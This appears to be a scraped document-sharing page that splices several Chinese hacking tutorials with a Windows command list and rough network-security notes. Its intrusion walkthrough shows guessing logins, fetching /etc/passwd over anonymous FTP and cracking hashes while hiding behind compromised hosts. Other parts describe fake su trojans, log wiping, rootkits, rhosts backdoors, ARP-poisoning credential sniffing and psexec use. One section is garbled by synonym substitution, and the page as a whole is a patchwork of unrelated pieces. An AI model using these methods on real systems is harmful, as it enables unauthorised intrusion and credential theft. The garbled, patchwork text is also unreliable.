(完整word版)黑客编程基础汇总,推荐文档
- 格式:doc
- 大小:68.01 KB
- 文档页数:10
coolfire黑客入门教程系列之(一)这不是一个教学文件, 只是告诉你该如何破解系统, 好让你能够将自己的系统作安全的保护, 如果你能够将这份文件完全看完, 你就能够知道电脑骇客们是如何入侵你的电脑, 我是 CoolFire, 写这篇文章的目的是要让大家明白电脑安全的重要性, 并不是教人Crack Password 若有人因此文件导致恶意入侵别人的电脑或网路, 本人概不负责 !!#1 甚麽是 Hacking ?就是入侵电脑! 有甚麽好解释的! 大部份有关介绍Hacker 的书籍或小说及文件等都有清楚的介绍, 沉迷於电脑的人... 破坏... 唉! 一大堆怪解释就是了,最好不要成为一个 "骇客", 我... 不是!#2 为甚麽要 Hack ?我们只是为了要了解更多关於系统的技术, 入侵它, 了解它是如何运作的, 试试它的安全性, 然後学著去使用它, 读取系统中有关操作的说明, 学习它的各项操作 !! 为了安全性而作革命!#3 Hack 守则1. 不恶意破坏任何的系统, 这样作只会给你带来麻烦.恶意破坏它人的软体将导致法律刑责, 如果你只是使用电脑, 那仅为非法使用!! 注意: 千万不要破坏别人的软体或资料 !!2. 不修改任何的系统档, 如果你是为了要进入系统而修改它, 请在答到目的後将它改回原状.3. 不要轻易的将你要 Hack 的站台告诉你不信任的朋友.4. 不要在 bbs 上谈论你 Hack 的任何事情.5. 在 Post 文章的时候不要使用真名.6. 正在入侵的时候, 不要随意离开你的电脑.7. 不要侵入或破坏政府机关的主机.8. 不在电话中谈论你 Hack 的任何事情.9. 将你的笔记放在安全的地方.10. 想要成为 Hacker 就要真正的 Hacking, 读遍所有有关系统安全或系统漏洞的文件 (英文快点学好)!11. 已侵入电脑中的帐号不得清除或修改.12. 不得修改系统档案, 如果为了隐藏自己的侵入而作的修改则不在此限, 但仍须维持原来系统的安全性, 不得因得到系统的控制权而将门户大开 !!13. 不将你已破解的帐号分享与你的朋友.#4 破解之道1. 进入主机中2. 得到 /etc/passwd3. 得到系统帐号4. 得到最高权限-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-How 1.进入主机有好几种方式, 可以经由 Telnet (Port 23) 或 SendMail (Port 25)或 FTP 或 WWW (Port 80) 的方式进入, 一台主机虽然只有一个位址, 但是它可能同时进行多项服务, 所以如果你只是要 "进入" 该主机, 这些 Port 都是很好的进行方向. 当然还有很多 Port, 但是 DayTime 的 Port 你能拿它作甚麽??? 我不知道, 你知道吗?!底下的示范并不是像写出来的那麽容易, 只不过是要让你了解如何进入,当然其中还有很多问题, 如打错指令...... 等等的毛病... 没有出现在课堂上, 但是我为了面子.... 一定要删掉这些不堪入目的东西嘛...示范进入主机的方法: (By CoolFire)(首先要先连上某一台你已经有帐号的Telnet 主机, 当然最好是假的, 也就是 Crack过的主机, 然後利用它来 Crack 别的主机, 才不会被别人以逆流法查出你的所在)Digital UNIX () (ttypa)login: FakeNamePassword:Last login: Mon Dec 2 03:24:00 from 255.255.0.0(我用的是 ... 当然是假的罗, 都已经经过修改了啦 !!没有这一台主机啦 !! 别怕 ! 别怕 ! 以下的主机名称都是假的名称, 请同学们要记得 !!)Digital UNIX V1.2C (Rev. 248); Mon Oct 31 21:23:02 CST 1996Digital UNIX V1.2C Worksystem Software (Rev. 248)Digital UNIX Chinese Support V1.2C (rev. 3)(嗯... 进来了 ! 开始攻击吧 ! 本次的目标是......)> telnet (Telnet 试试看....)Trying 111.222.255.255...Connected to .Escape character is '^]'.Password:Login incorrect(没关系, 再来 !!)cool login: hinetPassword:Login incorrectcool login:(都没猜对, 这边用的是猜的方法, 今天运气好像不好)telnet> closeConnection closed.(重来, 换个 Port 试试看 !!)> telnet 111.222.255.255 80Trying 111.222.255.255...Connected to 111.222.255.255.Escape character is '^]'.<HTML><HEAD><TITLE>Error</TITLE></HEAD><BODY><H1>Error 400</H1>Invalid request "" (unknown method)<P><HR><ADDRESS><A HREF="">CERN-HTTPD 3.0A</A></ADDRESS></BODY></HTML>Connection closed by foreign host.(哇哩 !! 连密码都没得输入, 真是..... 再来 !! 要有恒心 !!) (换 FTP Port 试试)> ftp 111.222.255.255Connected to 111.222.255.255.220 cool FTP server (Version wu-2.4(1) Tue Aug 8 15:50:43 CDT 1995) ready.Name (111.222.255.255:FakeName): anonymous331 Guest login ok, send your complete e-mail address as password. Password:230-Welcome, archive user! This is an experimental FTP server. If have any 230-unusual problems, please report them via e-mail to root@230-If you do have problems, please try using a dash (-) as the first character230-of your password -- this will turn off the continuation messages that may 230-be confusing your ftp client.230-230 Guest login ok, access restrictions apply.Remote system type is UNIX.Using binary mode to transfer files.(哇 ! 可以用 anonymous 进来耶!! password 部份输入 aaa@ 就好了 !不要留下足迹喔!!)ftp> ls200 PORT command successful.150 Opening ASCII mode data connection for file list.etcpubusrbinlibincomingwelcome.msg226 Transfer complete.(嗯嗯... 太好了 ! 进来了 !! 下一个目标是.....)ftp> cd etc250 CWD command successful.ftp> get passwd (抓回来 !!)200 PORT command successful.150 Opening BINARY mode data connection for passwd (566 bytes).226 Transfer complete.566 bytes received in 0.56 seconds (0.93 Kbytes/s)(喔... 这麽容易吗??)ftp> !cat passwd (看看 !!!)root::0:0:root:/root:/bin/bashbin:*:1:1:bin:/bin:daemon:*:2:2:daemon:/sbin:adm:*:3:4:adm:/var/adm:lp:*:4:7:lp:/var/spool/lpd:sync:*:5:0:sync:/sbin:/bin/syncshutdown:*:6:0:shutdown:/sbin:/sbin/shutdownhalt:*:7:0:halt:/sbin:/sbin/haltmail:*:8:12:mail:/var/spool/mail:news:*:9:13:news:/var/spool/news:uucp:*:10:14:uucp:/var/spool/uucp:operator:*:11:0:operator:/root:/bin/bashgames:*:12:100:games:/usr/games:man:*:13:15:man:/usr/man:postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash ftp:*:404:1::/home/ftp:/bin/bash(哇哩... 是 Shadow 的... 真是出师不利.... )ftp> bye221 Goodbye.(不信邪.... 还是老话, 要有恒心....)(FTP 不行, 再 Telnet 看看 !!)> telnet Trying 111.222.255.255...Connected to .Escape character is '^]'.Password:Login incorrect(又猜错 !!)cool login: fuckyouPassword:Last login: Mon Dec 2 09:20:07 from 205.11.122.12Linux 1.2.13.Some programming languages manage to absorb change but withstand progress.cool:~$(哇哈哈 !! 哪个笨 root, 用 system name 作 username 连password 也是 system name.... 总算... 没白玩...)cool:~$ systembash: system: command not found(嗯... 这个 user 的权限好像不大....)cool:~$ lscool:~$ pwd/home/fuckyoucool:~$ cd /cool:/$ lsPublic/ cdrom/ lib/ mnt/ tmp/ www/README dev/ linux* proc/ usr/bin/ etc/ local/ root/ var/ 网管网boot/ home/ lost+found/ sbin/cool:/$ cd etctelnet> quit(好想睡呀 !! 不玩了 !! 下节课再开始....)Connection closed.> exit(走了 !! 下节课在见啦 !! 今天就上到这里 ! 老师要先下班了 !!)(有学生说: 骗人! 还没有破解呀!! 胡说 ! 不是已经进来了吗 ???看看这节课上的是甚麽??? ---->进入主机 !! 嗯.....)-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-How 2.上节课抓回来一个"乱七八糟" 的/etc/passwd, 你以为我的真那麽笨吗??guest 所抓回来的能是甚麽好东西?? 所以这一节课继续上次的攻击行动. 上节课我们已经 "猜" 到了一个不是 guest 的 username 及 password. 今天就以它来进入主机瞧瞧!!Digital UNIX () (ttypa)login: FakeNamePassword:Last login: Mon Dec 2 03:24:00 from 255.255.0.0Digital UNIX V1.2C (Rev. 248); Mon Oct 31 21:23:02 CST 1996Digital UNIX V1.2C Worksystem Software (Rev. 248)Digital UNIX Chinese Support V1.2C (rev. 3)网管网bitsCN_com(嗯... 进来了 ! 开始攻击吧 ! 本次的目标是.....呵...)> telnet (Telnet 试试看.... 昨天的位址,有作笔记吧!)> telnet Trying 111.222.255.255...Connected to .Escape character is '^]'.Password:Login incorrectcool login: fuckyouPassword: (一样输入 fuckyou)Last login: Mon Dec 1 12:44:10 from Linux 1.2.13.cool:~$ cd /etccool:/etc$ lsDIR_COLORS ftpusers localtime resolv.conf HOSTNAME gateways magic rpcNETWORKING group mail.rc securettyNNTP_INEWS_DOMAIN host.conf motd sendmail.cf X11@ hosts messages/ sendmail.stXF86Config hosts.allow mtab servicesat.deny hosts.deny mtools shellsbootptab hosts.equiv named.boot shutdownpcsh.cshrc hosts.lpd networks snoopy/csh.login httpd.conf nntpserver slip.hostsexports inetd.conf passwd snooptabfastboot inittab passwd.OLD syslog.conffdprm issue passwd.old syslog.pidfstab ld.so.cache printcap ttysftpaccess ld.so.conf profile utmp@(找寻目标..... 太乱了 ! 懒得找, 再来 ....)cool:/etc$ ls pa*passwd passwd.OLD passwd.old(果然在)cool:/etc$ more passwd(看看有没有 Shadow...)root:acqQkJ2LoYp:0:0:root:/root:/bin/bashjohn:234ab56:9999:13:John Smith:/home/john:/bin/john (正点 ! 一点都没有防备 !!)cool:/etc$ exitlogout(走了!.... 换 FTP 上场 !!)Connection closed by foreign host.> ftp Connected to .220 cool FTP server (Version wu-2.4(1) Tue Aug 8 15:50:43 CDT 1995) ready.Name (:66126): fuckyou331 Password required for fuckyou.Password:230 User fuckyou logged in.Remote system type is UNIX.Using binary mode to transfer files.ftp> cd /etc250 CWD command successful.ftp> get passwd200 PORT command successful. 150 Opening BINARY mode data connection for passwd (350 bytes).226 Transfer complete.350 bytes received in 0.68 seconds (1.9 Kbytes/s)ftp> !cat passwdroot:acqQkJ2LoYp:0:0:root:/root:/bin/bashjohn:234ab56:9999:13:John Smith:/home/john:/bin/john(看看 ! 呵 ! 假不了 !!......)ftp> bye221 Goodbye.> exit(闪人罗 !! 下课 !!.... 喔慢点, 还有事要说明......)passwd 的 Shadow 就是把 passwd 放在 shadow 档中, 而你原先在第一节课所看到的这个格式的 passwd 并不是真正的 passwd....root::0:0:root:/root:/bin/bash因为密码的部份没有东西.... 所以拿了也没有用!! 但这一节课所拿到的东西呢,像是这样, 有几点需要说明的, 就是它究竟代表著甚麽???john:234ab56:9999:13:John Smith:/home/john:/bin/sh它以 ":" 分成几个栏位, 各栏位对照如下:User Name: johnPassword:234ab56User No: 9999Group No: 13Real Name: John SmithHome Dir: /home/johnShell: /bin/sh了了吧 ! 了了吧 ! 保留著你千辛万苦所拿到的 passwd, 咱们第三节网管网bitsCN_com课再来告诉各位如何使用 Crack Jack 把 passwd 解码.... 呵呵... zzZZzZzz...-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-Crack Jack V1.4 中文使用说明 (By CoolFire 12-1-1996)嗯... 该到第三课了 !! 累了的同学先去喝口水吧!这一节课咱们来说说 Crack Jack ! 这可是个解读 /etc/passwd 的好工具喔,不要告诉我你习惯用Brute, 拿 Brute 跟 Crack Jack 的速度比比看, 包准你马上投向 Crack Jack 1.4的怀抱, 但请先确定你所使用的是Crack Jack 1.4, 你可以在CoolFire 的Hacker&Mailer Page中拿到这个版本的 Crack Jack ! 这才是真正有用的版本, 速度... 对... 就是这点别人都比不上 !但还是要讲讲它的缺点... 就是只能在 DOS 跟 OS2 中跑, 如果在 Windoz 95 上开个DOS Mode 跑,它可是连理都不会理你的 !OK! 现在切入正题 ! etc/passwd 拿到手了吧 !! 开始罗 !! 使用 Crack Jack 1.4前所需要的东西有这些 [1] Crack Jack 1.4 (废话...$%^&@@) [2] /etc/passwd 档案, 你可以在 Unix系统中的 /etc/ 目录中找到 passwd [3] 字典档 (哪里找, 自己敲... 呵 ClayMore 中有一份中国网管联盟www_bitscn_comDIC.TXT是有一千多个字的字典, 但比起我的字典可就小巫见大巫了, LetMeIn!1.0 里面也有, 听James说 2.0 Release 的时候会有更棒的字典档含入, 期待吧!).... 使用 Crack Jack 1.4前需先确定你所使用的机器是 386 含以上 CPU 的 ! 然後最好有充足的记忆体 !!开始Jack 时只要敲入JACK 即可, 它会问你PW Name... 输入你的passwd 档名,DictionaryName 输入你的字典档名, Jack 就会开始找了 ! 找到时会告诉你, 也会在JACK.POT中写入它所找到的密码 !! 但... 有点怪的格式! 如果找到的是具 root 权限的密码, Jack 会告诉你This isJackAss... 嗯...说脏话了 !! 因为使用 Jack 占用的时间实在太多,如果你中途想要停掉时只要按下 Ctrl-C 即可, 别以为你前功尽弃了! 因为 Jack 有个 Restore 的功能,中断时会自动存档为RESTORE, 下次要继续这次的寻找只要输入Jack -Restore:RESTORE 即可 !!当然你也可以为你的 Restore 重新命名 ! Jack 也会找得到的 ... 如 Ren restore restore.HNT 之後要再寻找的时後就 Jack -Restore:RESTORE.HNT 即可... Jack 会很自动的 Restore 前次所寻找的字串...网管网bitsCN_com继续帮你找下去....字典档哪里找: 我的不给你! 可以找别的 Brute Force 之类的程式, 有些里面会附,或是找找其它的Hacker 地下站看看有没有, 自己编一个, 或找个英汉字典软体将字典的部份解出来,可能要有一点资料栏位及写程式的基础.[这一节课没有范例] 成功的案例: 找到过某家网路咖啡店的root 权限密码 ! Jack好正点呀 !!!所花的时间: 20 分钟左右... 但也有找了一两天也找不到的..... 呜... 骇客们! 加油吧!!------最近比较没空了! 因为要赶其它的报告, Home Page 也没有太多时间整理,更别说是写这些说明了,但是太多网友需要, 我只好两肋插刀... 差点昨天就交不出报告了 !!如果你有兴趣写其它程式的中文说明, 请完成後寄一份给我, 我将它放在Home Page 上面让其它人参考,当然你也可以给我你的使用心得, 让别人参考看看也行! 另外CoolFire 目前准备收集一系列的System HoleList, 如果你在其它的站台有看到的, 请把它先 Cut 下来, Mail 一份给我 !这样我才能弄出一份更齐全的东西呀.... 还有... 在想弄个 Mail List... 唉.. 不想这麽多了! 有空再说吧! ------再次重申, Crack 别人站台之後不要破坏别人站台中的资料, 此篇文章仅作为教育目的,不主张你随便入侵他人主机.... (当然高-Net 除外, 我恨死它了)... 请勿将这类技术使用於破坏上(又.....如果第三次世界大战开打, 你可以任意破坏敌国的电脑网路... 我全力支持),最严重的情况(如果你真的很讨厌该主机的话)... 就将它 Shut Down.... 好了! 别太暴力了!【转自】。
当然大多半进击成功的典范照样应用了体系软件本身的破绽.造成软件破绽的重要原因在于编制该软件的程序员缺乏安然意识.当进击者对软件进行非正常的挪用要求时造成缓冲区溢出或者对文件的不法拜访.个中应用缓冲区溢出进行的进击最为广泛,据统计80%以上成功的进击都是应用了缓冲区溢出破绽来获得不法权限的.关于缓冲区溢出在后面用专门章节来作具体说明.无论作为一个黑客照样一个收集治理员,都须要控制尽量多的体系破绽.黑客须要用它来完成进击,而治理员须要依据不合的破绽来进行不合的防御措施.懂得最新最多的破绽信息,可以到诸如Rootshell(www.rootshell.com).Packetstorm (packetstorm.securify.com).Securityfocus (www.securityfocus.com)等网站去查找.2.权限的扩大体系破绽分为长途破绽和当地破绽两种,长途破绽是指黑客可以在此外机械上直接应用该破绽进行进击并获取必定的权限.这种破绽的威逼性相当大,黑客的进击一般都是从长途漏敞开端的.但是应用长途破绽获取的不必定是最高权限,而往往只是一个通俗用户的权限,如许经常没有办法做黑客们想要做的事.这时就须要合营当地破绽来把获得的权限进行扩大,经常是扩大至体系的治理员权限.只有获得了最高的治理员权限之后,才可以做诸如收集监听.打扫陈迹之类的工作.要完成权限的扩大,不单可以应用已获得的权限在体系上履行应用当地破绽的程序,还可以放一些木马之类的诱骗程序来套取治理员暗码,这种木马是放在当地套取最高权限用的,而不克不及进行长途控制.例如一个黑客已经在一台机械上获得了一个通俗用户的账号和登录权限,那么他就可以在这台机械上放置一个假的su程序.一旦黑客放置了假su程序,当真正的正当用户登录时,运行了su,并输入了暗码,这时root暗码就会被记载下来,下次黑客再登录时就可以应用su变成root了.进击的善后工作1.日记体系简介假如进击者完成进击后就连忙分开体系而不做任何善后工作,那么他的行踪将很快被体系治理员发明,因为所有的收集操纵系同一般都供给日记记载功效,会把体系上产生的动作记载下来.所以,为了自身的隐蔽性,黑客一般都邑抹失落本身在日记中留下的陈迹.想要懂得黑客抹失落陈迹的办法,起首要懂得罕有的操纵体系的日记构造以及工作方法.Unix的日记文件平日放鄙人面这几个地位,依据操纵体系的不合略有变更/usr/adm——早期版本的Unix./Var/adm新一点的版本应用这个地位./Varflort一些版本的Solaris. Linux BSD. Free BSD应用这个地位./etc,大多半Unix版本把Utmp放在此处,一些Unix版本也把Wtmp放在这里,这也是Syslog.conf的地位.下面的文件可能会依据你地点的目次不合而不合:acct或pacct-一记载每个用户应用的敕令记载.accesslog重要用来办事器运行了NCSA HTTP办事器,这个记载文件会记载有什么站点衔接过你的办事器.aculo保管拨出去的Modems记载.lastlog记载了比来的Login记载和每个用户的最初目标地,有时是最后不成功Login的记载.loginlog一记载一些不正常的L0gin记载.messages——记载输出到体系控制台的记载,别的的信息由Syslog来生成security记载一些应用 UUCP体系妄图进入限制规模的事例.sulog记载应用su敕令的记载.utmp记载当前登录到体系中的所有效户,这个文件陪同着用户进入和分开体系而不竭变更.Utmpx,utmp的扩大.wtmp记载用户登录和退出事宜.Syslog最重要的日记文件,应用syslogd守护程序来获得.2.隐蔽踪影进击者在获得体系最高治理员权限之后就可以随便修正体系上的文件了(只对通例 Unix体系而言),包含日记文件,所以一般黑客想要隐蔽本身的踪影的话,就会对日记进行修正.最简略的办法当然就是删除日记文件了,但如许做固然防止了体系治理员依据IP追踪到本身,但也明白无误地告知了治理员,体系己经被人侵了.所以最经常应用的办法是只对日记文件中有关本身的那一部分做修正.关于修正办法的具体细节依据不合的操纵体系有所差别,收集上有很多此类功效的程序,例如 zap. wipe等,其重要做法就是消除 stlog和 Pacct等日记文件中某一用户的信息,使得当应用st等敕令检讨日记文件时,隐蔽失落此用户的信息.治理员想要防止日记体系被黑客修正,应当采纳必定的措施,例如用打印机及时记载收集日记信息.但如许做也有弊病,黑客一旦懂得到你的做法就会不断地向日记里写入无用的信息,使得打印机不断地打印日记,直到所有的纸用光为止.所以比较好的防止日记被修正的办法是把所有日记文件发送到一台比较安然的主机上,即应用loghost.即使是如许也不克不及完整防止日记被修正的可能性,因为黑客既然能攻入这台主机,也很可能攻入loghost.只修正日记是不敷的,因为百密必有一漏,即使自以为修正了所有的日记,仍然会留下一些蛛丝马迹的.例如装配了某些后门程序,运行后也可能被治理员发明.所以,黑客高手可以经由过程调换一些体系程序的办法来进一步隐蔽踪影.这种用来调换正常体系程序的黑客程序叫做rootkit,这类程序在一些黑客网站可以找到,比较罕有的有LinuxRootKit,如今已经成长到了5.0版本了.它可以调换体系的stat.inetd等等一系列重要的体系程序,当调换了ls后,就可以隐蔽指定的文件,使得治理员在应用ls敕令时无法看到这些文件,从而达到隐蔽本身的目标.3.后门一般黑客都邑在攻入体系后不只一次地进入该体系.为了下次再进入体系时便利一点,黑客会留下一个后门,特洛伊木马就是后门的最好典范.Unix中留后门的办法有很多种,下面介绍几种罕有的后门,供收集治理员参考防备.<1>暗码破解后门这是入侵者应用的最早也是最老的办法,它不但可以获得对Unix机械的拜访,并且可以经由过程破解暗码制作后门.这就是破解口令单薄的帐号.今后即使治理员封了入侵者的当前帐号,这些新的帐号仍然可能是从新侵入的后门.多半情形下,入侵者查找口令单薄的未应用帐号,然后将口令改的难些.当治理员查找口令单薄的帐号是,也不会发明这些暗码已修正的帐号.因而治理员很难肯定查封哪个帐号.<2>Rhosts + + 后门在连网的Unix机械中,象Rsh和Rlogin如许的办事是基于rhosts文件里的主机名应用简单的认证办法.用户可以随便马虎的转变设置而不需口令就能进入. 入侵者只要向可以拜访的某用户的rhosts文件中输入"+ +",就可以许可任何人从任何地方无须口令便能进入这个帐号.特殊当home目次经由过程NFS向外共享时,入侵者更热中于此.这些帐号也成了入侵者再次侵入的后门.很多人更爱好应用Rsh,因为它平日缺乏日记才能. 很多治理员经常检讨 "+ +",所以入侵者现实上多设置来自网上的另一个帐号的主机名和用户名,从而不轻易被发明.<3>校验和及时光戳后门早期,很多入侵者用本身的trojan程序替代二进制文件.体系治理员便依附时光戳和系统校验和的程序分辩一个二进制文件是否已被转变,如Unix里的sum程序.入侵者又成长了使trojan文件和原文件时光戳同步的新技巧.它是如许实现的: 先将体系时钟拨回到原文件时光,然后调剂trojan文件的时光为体系时光.一旦二进制trojan文件与本来的准确同步,就可以把体系时光设回当前时光.Sum程序是基于CRC校验,很轻易骗过.入侵者设计出了可以将trojan的校验和调剂到原文件的校验和的程序.MD5是被大多半人推举的,MD5应用的算法今朝还没人能骗过.。
当然大多数攻击成功的范例还是利用了系统软件本身的漏洞。
造成软件漏洞的主要原因在于编制该软件的程序员缺乏安全意识。
当攻击者对软件进行非正常的调用请求时造成缓冲区溢出或者对文件的非法访问。
其中利用缓冲区溢出进行的攻击最为普遍,据统计80%以上成功的攻击都是利用了缓冲区溢出漏洞来获得非法权限的。
关于缓冲区溢出在后面用专门章节来作详细解释。
无论作为一个黑客还是一个网络管理员,都需要掌握尽量多的系统漏洞。
黑客需要用它来完成攻击,而管理员需要根据不同的漏洞来进行不同的防御措施。
了解最新最多的漏洞信息,可以到诸如Rootshell(www.rootshell.com)、Packetstorm(packetstorm.securify.com)、Securityfocus(www.securityfocus.com)等网站去查找。
2.权限的扩大系统漏洞分为远程漏洞和本地漏洞两种,远程漏洞是指黑客可以在别的机器上直接利用该漏洞进行攻击并获取一定的权限。
这种漏洞的威胁性相当大,黑客的攻击一般都是从远程漏洞开始的。
但是利用远程漏洞获取的不一定是最高权限,而往往只是一个普通用户的权限,这样常常没有办法做黑客们想要做的事。
这时就需要配合本地漏洞来把获得的权限进行扩大,常常是扩大至系统的管理员权限。
只有获得了最高的管理员权限之后,才可以做诸如网络监听、打扫痕迹之类的事情。
要完成权限的扩大,不但可以利用已获得的权限在系统上执行利用本地漏洞的程序,还可以放一些木马之类的欺骗程序来套取管理员密码,这种木马是放在本地套取最高权限用的,而不能进行远程控制。
例如一个黑客已经在一台机器上获得了一个普通用户的账号和登录权限,那么他就可以在这台机器上放置一个假的su程序。
一旦黑客放置了假su程序,当真正的合法用户登录时,运行了su,并输入了密码,这时root密码就会被记录下来,下次黑客再登录时就可以使用su变成root了。
攻击的善后工作1.日志系统简介如果攻击者完成攻击后就立刻离开系统而不做任何善后工作,那么他的行踪将很快被系统管理员发现,因为所有的网络操作系统一般都提供日志记录功能,会把系统上发生的动作记录下来。
cmd常用命令大全 cmd运行命令cmd常用命令大全2K和XP下的CMD命令accwiz.exe > 辅助工具向导acsetups.exe > acs setup dcom server executableactmovie.exe > 直接显示安装工具append.exe > 允许程序打开制定目录中的数据arp.exe > 显示和更改计算机的ip与硬件物理地址的对应列表at.exe > 计划运行任务atmadm.exe > 调用管理器统计attrib.exe > 显示和更改文件和文件夹属性autochk.exe > 检测修复文件系统autoconv.exe > 在启动过程中自动转化系统autofmt.exe > 在启动过程中格式化进程autolfn.exe > 使用长文件名格式bootok.exe > boot acceptance application for registry bootvrfy.exe > 通报启动成功cacls.exe > 显示和编辑aclcalc.exe > 计算器cdplayer.exe > cd播放器change.exe > 与终端服务器相关的查询charmap.exe > 字符映射表chglogon.exe > 启动或停用会话记录chgport.exe > 改变端口(终端服务)chgusr.exe > 改变用户(终端服务)chkdsk.exe > 磁盘检测程序chkntfs.exe > 磁盘检测程序cidaemon.exe > 组成ci文档服务cipher.exe > 在ntfs上显示或改变加密的文件或目录cisvc.exe > 索引内容ckcnv.exe > 变换cookiecleanmgr.exe > 磁盘清理cliconfg.exe > sql客户网络工具clipbrd.exe > 剪贴簿查看器clipsrv.exe > 运行clipboard服务clspack.exe > 建立系统文件列表清单cluster.exe > 显示域的集群_cmd_.exe > 没什么好说的!cmdl32.exe > 自动下载连接管理cmmgr32.exe > 连接管理器cmmon32.exe > 连接管理器监视cmstp.exe > 连接管理器配置文件安装程序comclust.exe > 集群comp.exe > 比较两个文件和文件集的内容*compact.exe > 显示或改变ntfs分区上文件的压缩状态conime.exe > ime控制台control.exe > 控制面板convert.exe > 转换文件系统到ntfsconvlog.exe > 转换iis日志文件格式到ncsa格式cprofile.exe > 转换显示模式cscript.exe > 较本宿主版本csrss.exe > 客户服务器runtime进程csvde.exe > 日至格式转换程序dbgtrace.exe > 和terminal server相关dcomcnfg.exe > dcom配置属性dcphelp.exe > ?dcpromo.exe > ad安装向导ddeshare.exe > dde共享ddmprxy.exe >debug.exe > 就是debug啦!dfrgfat.exe > fat分区磁盘碎片整理程序dfrgntfs.exe > ntfs分区磁盘碎片整理程序dfs_cmd_.exe > 配置一个dfs树dfsinit.exe > 分布式文件系统初始化dfssvc.exe > 分布式文件系统服务器diantz.exe > 制作cab文件diskperf.exe > 磁盘性能计数器dllhost.exe > 所有com+应用软件的主进程dllhst3g.exe >dmadmin.exe > 磁盘管理服务dmremote.exe > 磁盘管理服务的一部分dns.exe > dns applications dnsdoskey.exe > 命令行创建宏dosx.exe > dos扩展dplaysvr.exe > 直接运行帮助drwatson.exe > 华生医生错误检测drwtsn32.exe > 华生医生显示和配置管理dtcsetup.exe > installs mdtcdvdplay.exe > dvd播放dxdiag.exe > direct-x诊断工具edlin.exe > 命令行的文本编辑器(历史悠久啊!)edlin.exe > 命令行的文本编辑器(历史悠久啊!)esentutl.exe > ms数据库工具eudcedit.exe > type造字程序eventvwr.exe > 事件查看器evnt_cmd_.exe > event to trap translator; configuration tool evntwin.exe > event to trap translator setupexe2bin.exe > 转换exe文件到二进制expand.exe > 解压缩extrac32.exe > 解cab工具fastopen.exe > 快速访问在内存中的硬盘文件faxcover.exe > 传真封面编辑faxqueue.exe > 显示传真队列faxsend.exe > 发送传真向导faxsvc.exe > 启动传真服务fc.exe > 比较两个文件的不同find.exe > 查找文件中的文本行findstr.exe > 查找文件中的行finger.exe > 一个用户并显示出统计结果fixmapi.exe > 修复mapi文件flattemp.exe > 允许或者禁用临时文件目录fontview.exe > 显示字体文件中的字体forcedos.exe > forces a file to start in dos mode. 强制文件在dos模式下运行freecell.exe > popular windows game 空当接龙ftp.exe > file transfer protocol used to transfer files over a network connection 就是ftp了gdi.exe > graphic device interface 图形界面驱动grovel.exe >grpconv.exe > program manager group convertor 转换程序管理员组help.exe > displays help for windows 2000 commands 显示帮助hostname.exe > display hostname for machine. 显示机器的hostnameie4uinit.exe > ie5 user install tool ie5用户安装工具ieshwiz.exe > customize folder wizard 自定义文件夹向导iexpress.exe > create and setup packages for install 穿件安装包iisreset.exe > restart iis admin service 重启iis服务internat.exe > keyboard language indicator applet 键盘语言指示器ipconfig.exe > windows 2000 ip configuration. 察看ip配置ipsecmon.exe > ip security monitor ip安全监视器ipxroute.exe > ipx routing and source routing control program ipx路由和源路由控制程序irftp.exe > setup ftp for wireless communication 无线连接ismserv.exe > intersite messaging service 安装或者删除service control manager中的服务jdbgmgr.exe > microsoft debugger for java 4 java4的调试器jetconv.exe > convert a jet engine database 转换jet engine数据库jetpack.exe > compact jet database. 压缩jet数据库jview.exe > command-line loader for java java的命令行装载者krnl386.exe > core component for windows 2000 2000的核心组件label.exe > change label for drives 改变驱动器的卷标lcwiz.exe > license compliance wizard for local or remote sy stems. 许可证符合向导ldifde.exe > ldif cmd line manager ldif目录交换命令行管理licmgr.exe > terminal server license manager 终端服务许可协议管理lights.exe > display connection status lights 显示连接状况llsmgr.exe > windows 2000 license manager 2000许可协议管理llssrv.exe > start the license server 启动许可协议服务器lnkstub.exe >locator.exe > rpc locator 远程定位lodctr.exe > load perfmon counters 调用性能计数logoff.exe > log current user off. 注销用户lpq.exe > displays status of a remote lpd queue 显示远端的lpd打印队列的状态,显示被送到基于unix的服务器的打印任务lpr.exe > send a print job to a network printer. 重定向打印任务到网络中的打印机。
1、creative ideaHackerCIA--信息安全概念Confidentality:保密性Top secret /secret /confidential / pulic or classifiedSniffer:攻击技术加密:防御技术Intergirty:完整性HashAvailability :可用性Controllability:可控性mtd<1day3AAuthentication:身份验证deauthenticaion1、static user&password2、pki/ca3、two factor authentication(pin+token code)4、finger生物识别Authorization:授权Subject ---------------------objectAcl(access control list)Dac(discretionary access control 自由的访问控制)Mac(mandatory access control 强制的访问控制)Subject & object一一对应关系Rbac(Role base access control 角色访问控制)SysadminRule base access control 给予规则的访问控制)Accounting/audit:记账审核SyslogUDP 0.0.0.0:514 *:*Arp (address resolve protocol) ip----mac应用层传输层网络层链路层Rarp(revserse arp) mac----ip1、WiresharkWinpcap--使网卡变成混杂模式需要管理员权限、以太网有线网卡而无线网卡是处于monitor mode在capture filter:tcp/udp/arp/ip在display filter:ftp/telnet/http/tcp/udp/arp如果看arp数据包eth.addr==mac如果看ip数据包ip.addr==ip2、能捕获到自己访问ftp的用户名与密码3、能否捕获别人的用户名与密码,并说明原因Cain:apr(arp posion routing) 、暴力破解密码选择升级winpcap1、configure--选择网卡和工作模式2、start sniffer (按钮)--mac scanner3、apr4、在password标签,查看密码如果是full-routing:双向欺骗成功如果是half-routing: 如果客户端数据包是0 ,说明客户端arp防火墙如果网关数据包是0,说明路由器arp防护Xp_cmdshell1、地址已经被占用2、地址冲突相同的ip有不同的mac,就会出现地址冲突Arp 不能跨vlan,不能跨router三层网关交换机Port-isolate port vlan1Pppoe服务器的创建步骤1、interface/print2、设定ip地址Add address=10.1.1.1 netmask=255.255.255.03、ip pool (地址池)4、ppp--pppoe--添加pppoe服务器/注意service name5、Ppp--profile 添加profile6、Ppp--secrets 添加用户名与密码1、检测具有管理员权限主机2、检测网卡模式3、抓包,分析(没有mac&ip spoofing)4、用solarwinds 查看每个interface 的arp cache网络层扫描sTsSsFCnsafer.rarNmap.exe -sT/sS/sF -v 172.19.1.236Redbutton.exePass.bat 字典文件ip 用户名在c盘下生成一个pass.txtPsexec.exe \\ip -u administrator -p 12345 